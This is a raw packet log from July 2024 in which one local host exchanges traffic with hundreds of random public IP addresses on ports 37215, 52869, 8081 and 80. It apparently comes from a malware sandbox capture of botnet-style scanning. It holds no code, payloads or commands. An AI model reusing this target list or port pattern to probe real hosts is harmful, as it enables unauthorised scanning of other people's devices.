Jul 20, 2024 23:10:38.032021046 CEST	52869	58771	135.62.27.208	192.168.2.15
Jul 20, 2024 23:10:38.032032013 CEST	52869	58771	40.187.242.249	192.168.2.15
Jul 20, 2024 23:10:38.032043934 CEST	52869	58771	184.38.212.102	192.168.2.15
Jul 20, 2024 23:10:38.032186985 CEST	58767	37215	192.168.2.15	211.10.208.19
Jul 20, 2024 23:10:38.032186985 CEST	58767	37215	192.168.2.15	41.31.131.87
Jul 20, 2024 23:10:38.032186985 CEST	58767	37215	192.168.2.15	41.247.205.168
Jul 20, 2024 23:10:38.032186985 CEST	58767	37215	192.168.2.15	197.14.238.62
Jul 20, 2024 23:10:38.032186985 CEST	58767	37215	192.168.2.15	197.220.55.7
Jul 20, 2024 23:10:38.032186985 CEST	58767	37215	192.168.2.15	197.171.53.33
Jul 20, 2024 23:10:38.032186985 CEST	58767	37215	192.168.2.15	41.110.97.3
Jul 20, 2024 23:10:38.032186985 CEST	58767	37215	192.168.2.15	41.65.80.195
Jul 20, 2024 23:10:38.032409906 CEST	52869	58771	99.237.120.204	192.168.2.15
Jul 20, 2024 23:10:38.032546997 CEST	52869	58771	37.92.132.79	192.168.2.15
Jul 20, 2024 23:10:38.032560110 CEST	37215	58767	197.197.219.110	192.168.2.15
Jul 20, 2024 23:10:38.032572031 CEST	37215	58767	157.117.101.81	192.168.2.15
Jul 20, 2024 23:10:38.032583952 CEST	52869	58771	119.161.235.200	192.168.2.15
Jul 20, 2024 23:10:38.032596111 CEST	52869	58771	151.198.124.217	192.168.2.15
Jul 20, 2024 23:10:38.032607079 CEST	37215	58767	157.229.231.90	192.168.2.15
Jul 20, 2024 23:10:38.032618999 CEST	52869	58771	187.195.109.17	192.168.2.15
Jul 20, 2024 23:10:38.032629967 CEST	52869	58771	46.235.120.15	192.168.2.15
Jul 20, 2024 23:10:38.032643080 CEST	37215	58767	100.138.95.213	192.168.2.15
Jul 20, 2024 23:10:38.032665014 CEST	52869	58771	93.142.32.35	192.168.2.15
Jul 20, 2024 23:10:38.032676935 CEST	52869	58771	202.248.4.126	192.168.2.15
Jul 20, 2024 23:10:38.032689095 CEST	52869	58771	105.216.91.123	192.168.2.15
Jul 20, 2024 23:10:38.032701015 CEST	52869	58771	110.247.124.243	192.168.2.15
Jul 20, 2024 23:10:38.032712936 CEST	52869	58771	32.147.116.166	192.168.2.15
Jul 20, 2024 23:10:38.032725096 CEST	52869	58771	220.201.12.60	192.168.2.15
Jul 20, 2024 23:10:38.032737017 CEST	52869	58771	36.141.158.51	192.168.2.15
Jul 20, 2024 23:10:38.032747984 CEST	52869	58771	185.29.181.116	192.168.2.15
Jul 20, 2024 23:10:38.032767057 CEST	52869	58771	187.57.11.214	192.168.2.15
Jul 20, 2024 23:10:38.032778025 CEST	52869	58771	162.227.63.247	192.168.2.15
Jul 20, 2024 23:10:38.032789946 CEST	52869	58771	70.231.191.159	192.168.2.15
Jul 20, 2024 23:10:38.032789946 CEST	58771	52869	192.168.2.15	119.170.237.214
Jul 20, 2024 23:10:38.032789946 CEST	58771	52869	192.168.2.15	90.103.72.246
Jul 20, 2024 23:10:38.032789946 CEST	58771	52869	192.168.2.15	27.206.178.148
Jul 20, 2024 23:10:38.032789946 CEST	58771	52869	192.168.2.15	27.209.16.55
Jul 20, 2024 23:10:38.032789946 CEST	58767	37215	192.168.2.15	157.91.203.86
Jul 20, 2024 23:10:38.032789946 CEST	58767	37215	192.168.2.15	157.24.64.239
Jul 20, 2024 23:10:38.032790899 CEST	58767	37215	192.168.2.15	157.200.197.56
Jul 20, 2024 23:10:38.032790899 CEST	58767	37215	192.168.2.15	41.198.237.25
Jul 20, 2024 23:10:38.032802105 CEST	52869	58771	221.105.238.53	192.168.2.15
Jul 20, 2024 23:10:38.032814026 CEST	52869	58771	43.46.136.219	192.168.2.15
Jul 20, 2024 23:10:38.032824993 CEST	52869	58771	2.153.37.41	192.168.2.15
Jul 20, 2024 23:10:38.032835960 CEST	52869	58771	194.195.41.145	192.168.2.15
Jul 20, 2024 23:10:38.032847881 CEST	52869	58771	146.23.236.91	192.168.2.15
Jul 20, 2024 23:10:38.032861948 CEST	52869	58771	79.220.66.248	192.168.2.15
Jul 20, 2024 23:10:38.032874107 CEST	52869	58771	44.115.246.238	192.168.2.15
Jul 20, 2024 23:10:38.033359051 CEST	52869	58771	193.254.121.75	192.168.2.15
Jul 20, 2024 23:10:38.033371925 CEST	52869	58771	53.41.83.235	192.168.2.15
Jul 20, 2024 23:10:38.033382893 CEST	52869	58771	74.124.219.141	192.168.2.15
Jul 20, 2024 23:10:38.033395052 CEST	52869	58771	161.164.230.13	192.168.2.15
Jul 20, 2024 23:10:38.033406973 CEST	52869	58771	179.181.30.238	192.168.2.15
Jul 20, 2024 23:10:38.033418894 CEST	52869	58771	39.169.203.78	192.168.2.15
Jul 20, 2024 23:10:38.033431053 CEST	52869	58771	115.85.32.240	192.168.2.15
Jul 20, 2024 23:10:38.033442020 CEST	52869	58771	205.172.146.238	192.168.2.15
Jul 20, 2024 23:10:38.033487082 CEST	52869	58771	176.240.112.229	192.168.2.15
Jul 20, 2024 23:10:38.033499002 CEST	52869	58771	71.24.91.154	192.168.2.15
Jul 20, 2024 23:10:38.033509970 CEST	52869	58771	120.46.79.130	192.168.2.15
Jul 20, 2024 23:10:38.033521891 CEST	52869	58771	177.52.241.158	192.168.2.15
Jul 20, 2024 23:10:38.033534050 CEST	52869	58771	69.101.27.172	192.168.2.15
Jul 20, 2024 23:10:38.033545971 CEST	52869	58771	207.30.234.132	192.168.2.15
Jul 20, 2024 23:10:38.033556938 CEST	52869	58771	58.16.233.22	192.168.2.15
Jul 20, 2024 23:10:38.033569098 CEST	52869	58771	65.67.248.160	192.168.2.15
Jul 20, 2024 23:10:38.033581018 CEST	52869	58771	59.35.165.228	192.168.2.15
Jul 20, 2024 23:10:38.033592939 CEST	52869	58771	87.112.96.46	192.168.2.15
Jul 20, 2024 23:10:38.033603907 CEST	52869	58771	176.75.183.95	192.168.2.15
Jul 20, 2024 23:10:38.033615112 CEST	52869	58771	180.78.245.203	192.168.2.15
Jul 20, 2024 23:10:38.033627987 CEST	52869	58771	166.210.138.244	192.168.2.15
Jul 20, 2024 23:10:38.033641100 CEST	52869	58771	38.165.231.247	192.168.2.15
Jul 20, 2024 23:10:38.033652067 CEST	52869	58771	162.163.75.65	192.168.2.15
Jul 20, 2024 23:10:38.033663988 CEST	52869	58771	148.199.123.192	192.168.2.15
Jul 20, 2024 23:10:38.033674955 CEST	52869	58771	197.151.108.45	192.168.2.15
Jul 20, 2024 23:10:38.033687115 CEST	52869	58771	34.61.162.3	192.168.2.15
Jul 20, 2024 23:10:38.033698082 CEST	52869	58771	117.183.235.145	192.168.2.15
Jul 20, 2024 23:10:38.033709049 CEST	52869	58771	196.74.181.174	192.168.2.15
Jul 20, 2024 23:10:38.033909082 CEST	52869	58771	53.142.246.239	192.168.2.15
Jul 20, 2024 23:10:38.033921003 CEST	52869	58771	68.11.235.229	192.168.2.15
Jul 20, 2024 23:10:38.033932924 CEST	52869	58771	134.87.36.187	192.168.2.15
Jul 20, 2024 23:10:38.033945084 CEST	52869	58771	20.139.112.241	192.168.2.15
Jul 20, 2024 23:10:38.033962011 CEST	52869	58771	194.17.79.54	192.168.2.15
Jul 20, 2024 23:10:38.033973932 CEST	52869	58771	131.136.181.97	192.168.2.15
Jul 20, 2024 23:10:38.033996105 CEST	52869	58771	160.71.39.26	192.168.2.15
Jul 20, 2024 23:10:38.034008980 CEST	52869	58771	60.44.42.128	192.168.2.15
Jul 20, 2024 23:10:38.034019947 CEST	52869	58771	8.74.119.121	192.168.2.15
Jul 20, 2024 23:10:38.034040928 CEST	52869	58771	156.209.188.136	192.168.2.15
Jul 20, 2024 23:10:38.034053087 CEST	52869	58771	115.148.35.210	192.168.2.15
Jul 20, 2024 23:10:38.034065008 CEST	52869	58771	80.81.48.137	192.168.2.15
Jul 20, 2024 23:10:38.034075975 CEST	52869	58771	159.200.130.100	192.168.2.15
Jul 20, 2024 23:10:38.034087896 CEST	52869	58771	54.150.199.220	192.168.2.15
Jul 20, 2024 23:10:38.034100056 CEST	52869	58771	45.30.252.109	192.168.2.15
Jul 20, 2024 23:10:38.034111977 CEST	52869	58771	70.89.41.49	192.168.2.15
Jul 20, 2024 23:10:38.034123898 CEST	52869	58771	159.33.176.180	192.168.2.15
Jul 20, 2024 23:10:38.034136057 CEST	52869	58771	187.115.67.191	192.168.2.15
Jul 20, 2024 23:10:38.034147024 CEST	52869	58771	152.92.37.104	192.168.2.15
Jul 20, 2024 23:10:38.034158945 CEST	52869	58771	53.39.9.32	192.168.2.15
Jul 20, 2024 23:10:38.034169912 CEST	52869	58771	5.16.244.245	192.168.2.15
Jul 20, 2024 23:10:38.034181118 CEST	52869	58771	93.187.168.235	192.168.2.15
Jul 20, 2024 23:10:38.034193039 CEST	52869	58771	128.3.191.142	192.168.2.15
Jul 20, 2024 23:10:38.034204006 CEST	52869	58771	218.129.122.228	192.168.2.15
Jul 20, 2024 23:10:38.034214973 CEST	52869	58771	99.39.182.165	192.168.2.15
Jul 20, 2024 23:10:38.034225941 CEST	52869	58771	220.9.6.99	192.168.2.15
Jul 20, 2024 23:10:38.034240007 CEST	52869	58771	124.25.111.159	192.168.2.15
Jul 20, 2024 23:10:38.034251928 CEST	52869	58771	193.127.97.222	192.168.2.15
Jul 20, 2024 23:10:38.034830093 CEST	52869	58771	42.149.105.254	192.168.2.15
Jul 20, 2024 23:10:38.034842014 CEST	52869	58771	24.11.191.12	192.168.2.15
Jul 20, 2024 23:10:38.034853935 CEST	52869	58771	208.198.234.248	192.168.2.15
Jul 20, 2024 23:10:38.034877062 CEST	52869	58771	145.15.218.104	192.168.2.15
Jul 20, 2024 23:10:38.034888029 CEST	52869	58771	177.228.55.128	192.168.2.15
Jul 20, 2024 23:10:38.034899950 CEST	52869	58771	162.225.116.179	192.168.2.15
Jul 20, 2024 23:10:38.034912109 CEST	52869	58771	182.100.29.31	192.168.2.15
Jul 20, 2024 23:10:38.035429955 CEST	58767	37215	192.168.2.15	197.151.185.182
Jul 20, 2024 23:10:38.035429955 CEST	58767	37215	192.168.2.15	197.213.122.129
Jul 20, 2024 23:10:38.035429955 CEST	58767	37215	192.168.2.15	197.68.246.82
Jul 20, 2024 23:10:38.035429955 CEST	58767	37215	192.168.2.15	197.84.123.182
Jul 20, 2024 23:10:38.035429955 CEST	58767	37215	192.168.2.15	197.168.134.148
Jul 20, 2024 23:10:38.035430908 CEST	58767	37215	192.168.2.15	24.116.250.142
Jul 20, 2024 23:10:38.035430908 CEST	58767	37215	192.168.2.15	197.20.204.98
Jul 20, 2024 23:10:38.035430908 CEST	58767	37215	192.168.2.15	91.217.115.225
Jul 20, 2024 23:10:38.035703897 CEST	58767	37215	192.168.2.15	157.197.174.115
Jul 20, 2024 23:10:38.035703897 CEST	58767	37215	192.168.2.15	197.207.190.107
Jul 20, 2024 23:10:38.035705090 CEST	58767	37215	192.168.2.15	41.29.232.209
Jul 20, 2024 23:10:38.035705090 CEST	58767	37215	192.168.2.15	157.133.138.41
Jul 20, 2024 23:10:38.035705090 CEST	58767	37215	192.168.2.15	197.254.19.244
Jul 20, 2024 23:10:38.035705090 CEST	58767	37215	192.168.2.15	182.162.171.84
Jul 20, 2024 23:10:38.035705090 CEST	58767	37215	192.168.2.15	197.40.184.56
Jul 20, 2024 23:10:38.035705090 CEST	58767	37215	192.168.2.15	41.32.87.180
Jul 20, 2024 23:10:38.036623955 CEST	58767	37215	192.168.2.15	177.143.244.44
Jul 20, 2024 23:10:38.036623955 CEST	58767	37215	192.168.2.15	80.26.163.103
Jul 20, 2024 23:10:38.036623955 CEST	58767	37215	192.168.2.15	41.73.154.95
Jul 20, 2024 23:10:38.036623955 CEST	58771	52869	192.168.2.15	100.47.254.113
Jul 20, 2024 23:10:38.036623955 CEST	58771	52869	192.168.2.15	183.212.212.24
Jul 20, 2024 23:10:38.036623955 CEST	58771	52869	192.168.2.15	60.37.25.73
Jul 20, 2024 23:10:38.036623955 CEST	58771	52869	192.168.2.15	37.246.32.164
Jul 20, 2024 23:10:38.036623955 CEST	58771	52869	192.168.2.15	173.8.8.159
Jul 20, 2024 23:10:38.037534952 CEST	58767	37215	192.168.2.15	157.239.122.240
Jul 20, 2024 23:10:38.037534952 CEST	58767	37215	192.168.2.15	45.37.197.81
Jul 20, 2024 23:10:38.037534952 CEST	58767	37215	192.168.2.15	197.225.29.93
Jul 20, 2024 23:10:38.037534952 CEST	58767	37215	192.168.2.15	197.194.243.108
Jul 20, 2024 23:10:38.037534952 CEST	58767	37215	192.168.2.15	146.236.211.101
Jul 20, 2024 23:10:38.037534952 CEST	58767	37215	192.168.2.15	41.46.234.183
Jul 20, 2024 23:10:38.037534952 CEST	58767	37215	192.168.2.15	196.18.132.173
Jul 20, 2024 23:10:38.037534952 CEST	58767	37215	192.168.2.15	62.243.33.179
Jul 20, 2024 23:10:38.040405035 CEST	58767	37215	192.168.2.15	41.1.139.129
Jul 20, 2024 23:10:38.040405035 CEST	58767	37215	192.168.2.15	157.155.60.20
Jul 20, 2024 23:10:38.040405035 CEST	58767	37215	192.168.2.15	85.155.239.167
Jul 20, 2024 23:10:38.040405035 CEST	58767	37215	192.168.2.15	157.100.68.144
Jul 20, 2024 23:10:38.040405989 CEST	58767	37215	192.168.2.15	41.178.145.48
Jul 20, 2024 23:10:38.040405989 CEST	58767	37215	192.168.2.15	197.179.212.160
Jul 20, 2024 23:10:38.040405989 CEST	58767	37215	192.168.2.15	126.195.193.158
Jul 20, 2024 23:10:38.040405989 CEST	58767	37215	192.168.2.15	198.5.88.189
Jul 20, 2024 23:10:38.040574074 CEST	58771	52869	192.168.2.15	160.146.201.203
Jul 20, 2024 23:10:38.040574074 CEST	58771	52869	192.168.2.15	121.105.59.88
Jul 20, 2024 23:10:38.040574074 CEST	58771	52869	192.168.2.15	45.166.228.21
Jul 20, 2024 23:10:38.040574074 CEST	58771	52869	192.168.2.15	57.242.183.200
Jul 20, 2024 23:10:38.040574074 CEST	58771	52869	192.168.2.15	124.254.139.255
Jul 20, 2024 23:10:38.040574074 CEST	58771	52869	192.168.2.15	46.134.68.15
Jul 20, 2024 23:10:38.040574074 CEST	58771	52869	192.168.2.15	223.140.27.66
Jul 20, 2024 23:10:38.040574074 CEST	58771	52869	192.168.2.15	137.159.245.105
Jul 20, 2024 23:10:38.041677952 CEST	58767	37215	192.168.2.15	173.87.154.186
Jul 20, 2024 23:10:38.041677952 CEST	58767	37215	192.168.2.15	197.23.9.160
Jul 20, 2024 23:10:38.041677952 CEST	58767	37215	192.168.2.15	197.212.235.19
Jul 20, 2024 23:10:38.041678905 CEST	58767	37215	192.168.2.15	197.120.128.176
Jul 20, 2024 23:10:38.041678905 CEST	58767	37215	192.168.2.15	197.15.51.224
Jul 20, 2024 23:10:38.041678905 CEST	58767	37215	192.168.2.15	41.219.104.81
Jul 20, 2024 23:10:38.041678905 CEST	58767	37215	192.168.2.15	197.89.254.25
Jul 20, 2024 23:10:38.041678905 CEST	58767	37215	192.168.2.15	90.18.90.51
Jul 20, 2024 23:10:38.044945002 CEST	58767	37215	192.168.2.15	89.74.36.44
Jul 20, 2024 23:10:38.044945002 CEST	58767	37215	192.168.2.15	157.105.135.159
Jul 20, 2024 23:10:38.044945002 CEST	58767	37215	192.168.2.15	157.60.245.135
Jul 20, 2024 23:10:38.044945002 CEST	58767	37215	192.168.2.15	45.159.144.131
Jul 20, 2024 23:10:38.044945002 CEST	58767	37215	192.168.2.15	41.111.240.145
Jul 20, 2024 23:10:38.044945002 CEST	58767	37215	192.168.2.15	59.123.56.126
Jul 20, 2024 23:10:38.044945002 CEST	58767	37215	192.168.2.15	41.171.192.20
Jul 20, 2024 23:10:38.044945002 CEST	58767	37215	192.168.2.15	41.210.216.86
Jul 20, 2024 23:10:38.045105934 CEST	58771	52869	192.168.2.15	37.221.95.17
Jul 20, 2024 23:10:38.045105934 CEST	58771	52869	192.168.2.15	65.28.2.61
Jul 20, 2024 23:10:38.045105934 CEST	58771	52869	192.168.2.15	96.8.130.204
Jul 20, 2024 23:10:38.045105934 CEST	58771	52869	192.168.2.15	179.247.29.112
Jul 20, 2024 23:10:38.045105934 CEST	58771	52869	192.168.2.15	172.165.29.150
Jul 20, 2024 23:10:38.045106888 CEST	58771	52869	192.168.2.15	195.248.108.26
Jul 20, 2024 23:10:38.045106888 CEST	58771	52869	192.168.2.15	88.213.229.131
Jul 20, 2024 23:10:38.045106888 CEST	58771	52869	192.168.2.15	198.71.61.87
Jul 20, 2024 23:10:38.048207998 CEST	58767	37215	192.168.2.15	41.145.34.239
Jul 20, 2024 23:10:38.048207998 CEST	58767	37215	192.168.2.15	41.57.247.135
Jul 20, 2024 23:10:38.048207998 CEST	58767	37215	192.168.2.15	197.125.253.199
Jul 20, 2024 23:10:38.048207998 CEST	58767	37215	192.168.2.15	157.81.186.140
Jul 20, 2024 23:10:38.048207998 CEST	58767	37215	192.168.2.15	41.240.108.83
Jul 20, 2024 23:10:38.048207998 CEST	58767	37215	192.168.2.15	197.175.204.118
Jul 20, 2024 23:10:38.048207998 CEST	58767	37215	192.168.2.15	157.222.38.248
Jul 20, 2024 23:10:38.048207998 CEST	58767	37215	192.168.2.15	143.141.244.68
Jul 20, 2024 23:10:38.048748970 CEST	58767	37215	192.168.2.15	157.248.244.162
Jul 20, 2024 23:10:38.048748970 CEST	58767	37215	192.168.2.15	157.130.22.244
Jul 20, 2024 23:10:38.048748970 CEST	58767	37215	192.168.2.15	197.65.187.254
Jul 20, 2024 23:10:38.048748970 CEST	58767	37215	192.168.2.15	110.187.106.242
Jul 20, 2024 23:10:38.048748970 CEST	58767	37215	192.168.2.15	41.170.68.215
Jul 20, 2024 23:10:38.048748970 CEST	58767	37215	192.168.2.15	41.151.29.120
Jul 20, 2024 23:10:38.048748970 CEST	58767	37215	192.168.2.15	189.75.207.178
Jul 20, 2024 23:10:38.048748970 CEST	58767	37215	192.168.2.15	41.248.107.19
Jul 20, 2024 23:10:38.049740076 CEST	58771	52869	192.168.2.15	75.164.133.20
Jul 20, 2024 23:10:38.049740076 CEST	58771	52869	192.168.2.15	41.57.109.160
Jul 20, 2024 23:10:38.049740076 CEST	58771	52869	192.168.2.15	60.108.137.142
Jul 20, 2024 23:10:38.049740076 CEST	58771	52869	192.168.2.15	182.71.9.111
Jul 20, 2024 23:10:38.049740076 CEST	58771	52869	192.168.2.15	101.87.191.62
Jul 20, 2024 23:10:38.049740076 CEST	58771	52869	192.168.2.15	49.103.65.49
Jul 20, 2024 23:10:38.049740076 CEST	58771	52869	192.168.2.15	160.91.247.139
Jul 20, 2024 23:10:38.049740076 CEST	58771	52869	192.168.2.15	89.45.61.48
Jul 20, 2024 23:10:38.051939964 CEST	58767	37215	192.168.2.15	157.123.131.27
Jul 20, 2024 23:10:38.051939964 CEST	58767	37215	192.168.2.15	41.215.222.179
Jul 20, 2024 23:10:38.051939964 CEST	58767	37215	192.168.2.15	197.117.127.154
Jul 20, 2024 23:10:38.051939964 CEST	58767	37215	192.168.2.15	85.124.236.79
Jul 20, 2024 23:10:38.051939964 CEST	58767	37215	192.168.2.15	197.0.212.30
Jul 20, 2024 23:10:38.051939964 CEST	58767	37215	192.168.2.15	197.251.127.198
Jul 20, 2024 23:10:38.051939964 CEST	58767	37215	192.168.2.15	213.4.74.94
Jul 20, 2024 23:10:38.051939964 CEST	58767	37215	192.168.2.15	222.21.19.242
Jul 20, 2024 23:10:38.053828001 CEST	58767	37215	192.168.2.15	157.3.209.109
Jul 20, 2024 23:10:38.053828001 CEST	58767	37215	192.168.2.15	42.242.165.146
Jul 20, 2024 23:10:38.053828001 CEST	58767	37215	192.168.2.15	157.87.60.182
Jul 20, 2024 23:10:38.053828001 CEST	58767	37215	192.168.2.15	212.185.55.12
Jul 20, 2024 23:10:38.053828001 CEST	58771	52869	192.168.2.15	67.248.122.208
Jul 20, 2024 23:10:38.053828001 CEST	58771	52869	192.168.2.15	37.20.97.222
Jul 20, 2024 23:10:38.053828001 CEST	58771	52869	192.168.2.15	206.141.149.104
Jul 20, 2024 23:10:38.053828001 CEST	58771	52869	192.168.2.15	19.4.232.210
Jul 20, 2024 23:10:38.054694891 CEST	58771	52869	192.168.2.15	174.55.94.1
Jul 20, 2024 23:10:38.054694891 CEST	58771	52869	192.168.2.15	36.196.33.90
Jul 20, 2024 23:10:38.054694891 CEST	58771	52869	192.168.2.15	208.114.248.222
Jul 20, 2024 23:10:38.054694891 CEST	58771	52869	192.168.2.15	83.93.31.167
Jul 20, 2024 23:10:38.054694891 CEST	58771	52869	192.168.2.15	206.70.180.238
Jul 20, 2024 23:10:38.054694891 CEST	58771	52869	192.168.2.15	159.191.69.194
Jul 20, 2024 23:10:38.054694891 CEST	58771	52869	192.168.2.15	200.224.148.62
Jul 20, 2024 23:10:38.054694891 CEST	58771	52869	192.168.2.15	144.125.91.237
Jul 20, 2024 23:10:38.055552959 CEST	58767	37215	192.168.2.15	197.90.65.130
Jul 20, 2024 23:10:38.055552959 CEST	58767	37215	192.168.2.15	197.156.192.140
Jul 20, 2024 23:10:38.055552959 CEST	58771	52869	192.168.2.15	209.100.99.31
Jul 20, 2024 23:10:38.055552959 CEST	58771	52869	192.168.2.15	178.204.43.34
Jul 20, 2024 23:10:38.055552959 CEST	58771	52869	192.168.2.15	39.251.64.74
Jul 20, 2024 23:10:38.055552959 CEST	58771	52869	192.168.2.15	128.136.138.71
Jul 20, 2024 23:10:38.055552959 CEST	58771	52869	192.168.2.15	183.224.63.198
Jul 20, 2024 23:10:38.055552959 CEST	58771	52869	192.168.2.15	137.0.27.60
Jul 20, 2024 23:10:38.058213949 CEST	58767	37215	192.168.2.15	157.60.214.43
Jul 20, 2024 23:10:38.058213949 CEST	58767	37215	192.168.2.15	157.203.207.178
Jul 20, 2024 23:10:38.058213949 CEST	58767	37215	192.168.2.15	41.138.208.89
Jul 20, 2024 23:10:38.058214903 CEST	58767	37215	192.168.2.15	41.216.171.51
Jul 20, 2024 23:10:38.058214903 CEST	58767	37215	192.168.2.15	41.28.138.201
Jul 20, 2024 23:10:38.058214903 CEST	58767	37215	192.168.2.15	197.148.20.215
Jul 20, 2024 23:10:38.058214903 CEST	58767	37215	192.168.2.15	197.199.100.248
Jul 20, 2024 23:10:38.058214903 CEST	58767	37215	192.168.2.15	41.102.110.55
Jul 20, 2024 23:10:38.058878899 CEST	58767	37215	192.168.2.15	197.224.22.147
Jul 20, 2024 23:10:38.058878899 CEST	58767	37215	192.168.2.15	41.100.22.26
Jul 20, 2024 23:10:38.058878899 CEST	58767	37215	192.168.2.15	197.109.252.7
Jul 20, 2024 23:10:38.058878899 CEST	58767	37215	192.168.2.15	197.206.145.252
Jul 20, 2024 23:10:38.058878899 CEST	58767	37215	192.168.2.15	197.80.40.66
Jul 20, 2024 23:10:38.058878899 CEST	58767	37215	192.168.2.15	125.215.206.242
Jul 20, 2024 23:10:38.058878899 CEST	58767	37215	192.168.2.15	157.33.16.84
Jul 20, 2024 23:10:38.059556961 CEST	58767	37215	192.168.2.15	180.160.78.236
Jul 20, 2024 23:10:38.059556961 CEST	58767	37215	192.168.2.15	157.48.152.215
Jul 20, 2024 23:10:38.059556961 CEST	58767	37215	192.168.2.15	157.246.177.248
Jul 20, 2024 23:10:38.059556961 CEST	58767	37215	192.168.2.15	41.78.140.141
Jul 20, 2024 23:10:38.059556961 CEST	58767	37215	192.168.2.15	197.216.39.117
Jul 20, 2024 23:10:38.059556961 CEST	58767	37215	192.168.2.15	192.248.27.158
Jul 20, 2024 23:10:38.059556961 CEST	58767	37215	192.168.2.15	162.194.245.250
Jul 20, 2024 23:10:38.059556961 CEST	58767	37215	192.168.2.15	79.176.18.28
Jul 20, 2024 23:10:38.059909105 CEST	58771	52869	192.168.2.15	91.253.92.6
Jul 20, 2024 23:10:38.059909105 CEST	58771	52869	192.168.2.15	188.244.143.57
Jul 20, 2024 23:10:38.059909105 CEST	58771	52869	192.168.2.15	49.231.2.135
Jul 20, 2024 23:10:38.059909105 CEST	58771	52869	192.168.2.15	175.23.165.127
Jul 20, 2024 23:10:38.059909105 CEST	58771	52869	192.168.2.15	72.181.229.255
Jul 20, 2024 23:10:38.059909105 CEST	58771	52869	192.168.2.15	23.175.32.146
Jul 20, 2024 23:10:38.059909105 CEST	58771	52869	192.168.2.15	93.50.125.43
Jul 20, 2024 23:10:38.059909105 CEST	58771	52869	192.168.2.15	116.26.28.108
Jul 20, 2024 23:10:38.060492039 CEST	58771	52869	192.168.2.15	140.7.237.34
Jul 20, 2024 23:10:38.060492039 CEST	58771	52869	192.168.2.15	139.148.1.119
Jul 20, 2024 23:10:38.060492039 CEST	58771	52869	192.168.2.15	27.210.239.133
Jul 20, 2024 23:10:38.060492039 CEST	58771	52869	192.168.2.15	54.80.239.187
Jul 20, 2024 23:10:38.060492039 CEST	58771	52869	192.168.2.15	47.204.215.99
Jul 20, 2024 23:10:38.060492039 CEST	58771	52869	192.168.2.15	145.252.5.227
Jul 20, 2024 23:10:38.060492992 CEST	58771	52869	192.168.2.15	167.115.61.199
Jul 20, 2024 23:10:38.060492992 CEST	58771	52869	192.168.2.15	43.217.195.168
Jul 20, 2024 23:10:38.060683966 CEST	58771	52869	192.168.2.15	80.106.101.233
Jul 20, 2024 23:10:38.060683966 CEST	58771	52869	192.168.2.15	110.26.78.214
Jul 20, 2024 23:10:38.060683966 CEST	58771	52869	192.168.2.15	163.152.168.240
Jul 20, 2024 23:10:38.060683966 CEST	58771	52869	192.168.2.15	49.125.246.34
Jul 20, 2024 23:10:38.060683966 CEST	58771	52869	192.168.2.15	171.87.22.202
Jul 20, 2024 23:10:38.060683966 CEST	58771	52869	192.168.2.15	201.1.244.145
Jul 20, 2024 23:10:38.060683966 CEST	58771	52869	192.168.2.15	38.246.254.202
Jul 20, 2024 23:10:38.060683966 CEST	58771	52869	192.168.2.15	67.233.123.166
Jul 20, 2024 23:10:38.063025951 CEST	52869	58771	182.100.29.31	192.168.2.15
Jul 20, 2024 23:10:38.063035011 CEST	8081	58768	163.160.69.40	192.168.2.15
Jul 20, 2024 23:10:38.063041925 CEST	52869	58771	192.0.85.114	192.168.2.15
Jul 20, 2024 23:10:38.063046932 CEST	8081	58768	164.113.68.105	192.168.2.15
Jul 20, 2024 23:10:38.063052893 CEST	52869	58771	158.210.130.227	192.168.2.15
Jul 20, 2024 23:10:38.063057899 CEST	52869	58771	69.129.149.170	192.168.2.15
Jul 20, 2024 23:10:38.063059092 CEST	52869	58771	129.32.201.22	192.168.2.15
Jul 20, 2024 23:10:38.063061953 CEST	52869	58771	212.212.170.58	192.168.2.15
Jul 20, 2024 23:10:38.063066959 CEST	52869	58771	211.248.122.147	192.168.2.15
Jul 20, 2024 23:10:38.063072920 CEST	52869	58771	165.224.209.96	192.168.2.15
Jul 20, 2024 23:10:38.063076973 CEST	52869	58771	39.207.103.141	192.168.2.15
Jul 20, 2024 23:10:38.063081980 CEST	52869	58771	141.245.42.84	192.168.2.15
Jul 20, 2024 23:10:38.063086987 CEST	52869	58771	107.193.98.191	192.168.2.15
Jul 20, 2024 23:10:38.063091993 CEST	52869	58771	70.224.109.37	192.168.2.15
Jul 20, 2024 23:10:38.063097000 CEST	52869	58771	193.84.40.196	192.168.2.15
Jul 20, 2024 23:10:38.063102007 CEST	52869	58771	139.108.113.148	192.168.2.15
Jul 20, 2024 23:10:38.063107014 CEST	52869	58771	187.215.50.196	192.168.2.15
Jul 20, 2024 23:10:38.063112020 CEST	80	58774	95.153.158.130	192.168.2.15
Jul 20, 2024 23:10:38.063117027 CEST	52869	58771	155.153.195.30	192.168.2.15
Jul 20, 2024 23:10:38.063121080 CEST	8081	58768	150.224.209.78	192.168.2.15
Jul 20, 2024 23:10:38.063121080 CEST	80	58774	95.218.122.224	192.168.2.15
Jul 20, 2024 23:10:38.063122034 CEST	52869	58771	200.241.17.180	192.168.2.15
Jul 20, 2024 23:10:38.063122988 CEST	52869	58771	162.247.160.63	192.168.2.15
Jul 20, 2024 23:10:38.063123941 CEST	52869	58771	94.61.246.148	192.168.2.15
Jul 20, 2024 23:10:38.063124895 CEST	52869	58771	179.20.162.94	192.168.2.15
Jul 20, 2024 23:10:38.063126087 CEST	8081	58768	197.89.107.180	192.168.2.15
Jul 20, 2024 23:10:38.063127041 CEST	52869	58771	88.122.239.133	192.168.2.15
Jul 20, 2024 23:10:38.063131094 CEST	52869	58771	164.234.124.91	192.168.2.15
Jul 20, 2024 23:10:38.063133001 CEST	52869	58771	210.163.74.208	192.168.2.15
Jul 20, 2024 23:10:38.063133955 CEST	52869	58771	87.222.112.188	192.168.2.15
Jul 20, 2024 23:10:38.063134909 CEST	52869	58771	160.130.40.213	192.168.2.15
Jul 20, 2024 23:10:38.063139915 CEST	52869	58771	17.207.214.157	192.168.2.15
Jul 20, 2024 23:10:38.063144922 CEST	52869	58771	207.117.214.39	192.168.2.15
Jul 20, 2024 23:10:38.063148975 CEST	8081	58768	202.15.22.47	192.168.2.15
Jul 20, 2024 23:10:38.063153982 CEST	52869	58771	120.118.15.149	192.168.2.15
Jul 20, 2024 23:10:38.063158989 CEST	52869	58771	50.48.248.185	192.168.2.15
Jul 20, 2024 23:10:38.063159943 CEST	52869	58771	48.124.156.179	192.168.2.15
Jul 20, 2024 23:10:38.063160896 CEST	52869	58771	130.150.212.138	192.168.2.15
Jul 20, 2024 23:10:38.063162088 CEST	52869	58771	170.218.93.54	192.168.2.15
Jul 20, 2024 23:10:38.063163996 CEST	52869	58771	78.168.34.68	192.168.2.15
Jul 20, 2024 23:10:38.063164949 CEST	52869	58771	36.244.207.28	192.168.2.15
